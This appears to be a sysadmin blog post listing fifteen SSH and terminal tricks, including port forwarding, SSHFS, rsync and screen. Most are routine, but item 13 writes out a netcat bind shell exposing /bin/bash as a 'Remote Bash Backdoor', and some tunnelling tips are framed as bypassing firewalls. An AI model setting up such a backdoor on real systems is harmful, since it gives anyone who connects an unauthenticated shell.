Mastering the Invisible Art: 15 SSH Command Sorcery Tricks for Sysadmins


SSH isn’t just a protocol—it’s a skeleton key for the connected world. As a sysadmin by day and terminal poet by night, I’ve always believed SSH is the unsung hero of infrastructure. Beyond ssh user@host lies a universe of tunneling, automation, and rescue operations that’ll transform your workflow from functional to frictionless. Let’s crack open the toolbox.


🔐 I. Core SSH Wizardry

  1. Password-Less Logins & Key Orchestration

    ssh-copy-id user@host  # Copies public key

    Generate keys first with ssh-keygen. For systems without ssh-copy-id:

    cat ~/.ssh/id_rsa.pub | ssh user@host "mkdir -p ~/.ssh; cat >> ~/.ssh/authorized_keys"

    Why it matters: Eliminate password prompts + enable script automation. Essential for CI/CD pipelines.
  2. Persistent Connections (No More Handshake Delays)

    ssh -MNf user@host  # Master connection in background

    Add to ~/.ssh/config:

    Host host
    ControlPath ~/.ssh/master-%r@%h:%p
    ControlMaster auto

    Pro Tip: Slashes rsync transfer times by 70% by reusing sockets.
  3. Escape Aliases for Raw Commands

    \rm critical_file  # Bypasses "rm -i" alias

    The backslash ignores shell aliases—vital when scripts demand vanilla behavior.

🌉 II. Tunnels & Proxies: Your Digital Escape Routes

  1. Local Port Forwarding (Access “Blocked” Services)

    ssh -N -L 3000:internal-server:80 jump-host

    Now http://localhost:3000 tunnels through jump-host to internal-server:80. Ideal for bypassing firewalls.
  2. Remote Port Forwarding (Expose Local Apps)

    ssh -R 8080:localhost:3000 public-server

    Access your local dev server (localhost:3000) via public-server:8080. Demo your work without deploying.
  3. SSHFS – Mount Remote Filesystems Locally

    sshfs user@host:/remote/path /local/mount

    Edit remote files in Vim/VS Code as if they’re local. Requires sshfs install (fuse.sourceforge.net).

⚡ III. Sysadmin Survival Kit

  1. Resume Failed File Transfers

    rsync --partial --progress --rsh=ssh largefile user@host:/backup/

    Lifesaver for 50GB database dumps over flaky VPNs.
  2. Run GUI Apps Remotely (Yes, Firefox Works!)

    ssh -X user@host firefox

    Ensure /etc/ssh/sshd_config has X11Forwarding yes. Use -Y for trusted X11.
  3. Disown Long-Running Tasks

    ^Z            # Suspend job
    bg # Send to background
    disown %1 # Detach from terminal

    Walk away without nohup. The process survives session death.

🛠️ IV. Next-Level Ninjutsu

  1. Port Knocking (Stealth Firewall Control)

    knock host 3000 4000 5000 && ssh -p 22 user@host

    Sequence opens SSH port via knockd. Close with reverse sequence.
  2. Monitor Live Network Traffic Over SSH

    ssh root@server 'tshark -f "port !22" -w -' | wireshark -k -i -

    Capture packets remotely, analyze locally. Filter aggressively to save bandwidth.
  3. SSH + Screen = Unkillable Sessions

    ssh -t user@server screen -xRR

    Reattach to sessions after coffee spills or airport Wi-Fi drops. Ctrl-a d detaches.

⚠️ V. Danger Zone (Use Responsibly!)

  1. Remote Bash Backdoor

    nc -vv -l -p 1234 -e /bin/bash  # On target machine
    nc target-ip 1234 # Attacker's command

    Warning: Exposes shell publicly. Only use on trusted networks.
  2. Throttle Bandwidth for Fair Play

    tar cz /backup | cstream -t 500k | ssh host "tar xz -C /restore"

    Cap transfers at 500 KB/s to avoid choking the office VPN.
  3. Autossh – The Self-Healing Connection

    autossh -M 50000 -t host 'screen -raAd mysession'

    Restarts SSH if laptops hop between networks. -M sets monitor port.

Tools don’t make the master—but they reveal one.

SSH isn’t just about access; it’s about intent. Whether you’re tunneling through censorship, rescuing a frozen server, or automating deployments, these commands turn constraints into possibilities.

💬 Your Turn: What’s your favorite SSH hack? Share the magic in the comments.

For more terminal sorcery, subscribe to the UrFix newsletter. We dissect one command every Tuesday.


About the Author:
Isaias Irizarry is a network whisperer and recovering poet. When not debugging Kubernetes clusters, he writes haikus about TCP handshakes. His PS3 still runs Gentoo (see setup guide).


Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.